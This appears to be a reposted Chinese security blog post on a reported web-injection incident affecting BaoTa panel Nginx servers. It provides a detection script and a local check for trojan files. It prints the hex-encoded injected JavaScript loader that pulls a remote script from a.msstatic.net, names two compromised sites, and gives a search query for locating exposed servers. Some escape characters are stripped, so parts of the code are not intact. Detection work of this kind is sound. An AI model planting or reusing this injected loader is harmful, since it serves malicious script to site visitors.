1.宝塔挂马概述
2.宝塔挂马检测
GET / HTTP/1.1
Host: webmail.zachey.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
"x67x65x74x4Dx69x6Ex75x74x65x73","x73x65x74x4Dx69x6Ex75x74x65x73","x63x6Fx6Fx6Bx69x65","x3D","x3Bx65x78x70x69x72x65x73x3D","x74x6Fx55x54x43x53x74x72x69x6Ex67","x77x61x66x5Fx73x63","x35x38x38x39x36x34x37x37x32x36","x25x33x43x73x63x72x69x70x74x20x73x72x63x3Dx27x68x74x74x70x73x3Ax2Fx2Fx61x2Ex6Dx73x73x74x61x74x69x63x2Ex6Ex65x74x2Fx6Dx61x69x6Ex33x2Fx63x6Fx6Dx6Dx6Fx6Ex2Fx61x73x73x65x74x73x2Fx74x65x6Dx70x6Cx61x74x65x2Fx68x65x61x64x2Fx61x64x2Ex74x6Dx70x6Cx5Fx61x39x62x37x2Ex6Ax73x27x25x33x45x25x33x43x2Fx73x63x72x69x70x74x25x33x45","x77x72x69x74x65"
getMinutessetMinutescookie=;expires=toUTCStringwaf_sc5889647726%3Cscript src='https://a.msstatic.net/main3/common/assets/template/head/ad.tmpl_a9b7.js'%3E%3C/script%3
Ewrite
3.POCsuite宝塔挂马检测脚本
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# Author: afei00123
from pocsuite3.api import requests
from pocsuite3.api import register_poc,POC_CATEGORY
from pocsuite3.api import Output, POCBase, logger
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
class BTPOC(POCBase):
vulID = '0121'
version = '1.0'
author = ['afei00123']
vulDate = '2021-03-08'
createDate = '2021-12-26'
updateDate = '2020-12-27'
references = ['https://www.cnvd.org.cn/flaw/show/']
name = 'Nginx挂马事件'
appPowerLink = 'https://www.bt.cn/bbs'
appName = '宝塔面板'
appVersion = '''All'''
vulType = "guaMa"
desc = '''宝塔面板疑似出现重大安全漏洞。遭到攻击的服务器,Nginx会自动检测header中accept字段是否包含Gzip。如果包含,则会向目标页面中加入一段JS引用,从而实现恶意挂马。'''
samples = ["http://webmail.zachey.com/", "http://sayfetrip.com/"]
category = POC_CATEGORY.EXPLOITS.WEBAPP
#zoomeye: "x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73"
def get_headers(self):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"
}
return headers
def _verify(self):
result = {}
headers = self.get_headers()
try:
respon = requests.get(self.url, headers=headers, verify=False, timeout=10)
if "\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73" in respon.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['INFO'] = "您的宝塔面板已被挂马,请使用以下官方脚本登录服务器进行自查:"
result['VerifyInfo']['Check Script'] = "n" + '''import os
list1 = ['/var/tmp/systemd-private-56d86f7d8382402517f3b51625789161d2cb-chronyd.service-jP37av','/var/tmp/systemd-private-56d86f7d8382402517f3b5-jP37av','/tmp/systemd-private-56d86f7d8382402517f3b5-jP37av','/var/tmp/count','/var/tmp/count.txt','/var/tmp/backkk','/var/tmp/msglog.txt']
sum = 0
for i in list1:
if os.path.exists(i):
sum += 1
print("检测到异常木马文件:",i)
if sum == 0: print("没有检测到异常木马文件!")''' + "n"
with open(__file__.replace('.py', '.txt'), 'a+') as f:
f.write(self.url+ 'n')
f.close()
else:
logger.info("恭喜您,您的宝塔面板未检测到挂马事件.")
except Exception:
logger.error(f"connect {self.url} faild!!!")
return self.parse_attack(result)
def _attack(self):
return self._verify()
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register_poc(BTPOC)
import os
list1 = ['/var/tmp/systemd-private-56d86f7d8382402517f3b51625789161d2cb-chronyd.service-jP37av','/var/tmp/systemd-private-56d86f7d8382402517f3b5-jP37av','/tmp/systemd-private-56d86f7d8382402517f3b5-jP37av','/var/tmp/count','/var/tmp/count.txt','/var/tmp/backkk','/var/tmp/msglog.txt']
sum = 0
for i in list1:
if os.path.exists(i):
sum += 1
print("检测到异常木马文件:",i)
if sum == 0: print("没有检测到异常木马文件!")
server=="nginx" && status_code=="200" && country="CN"
往期推荐
原文始发于微信公众号(网络运维渗透):网传宝塔“0day”挂马事件—附检测脚本
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论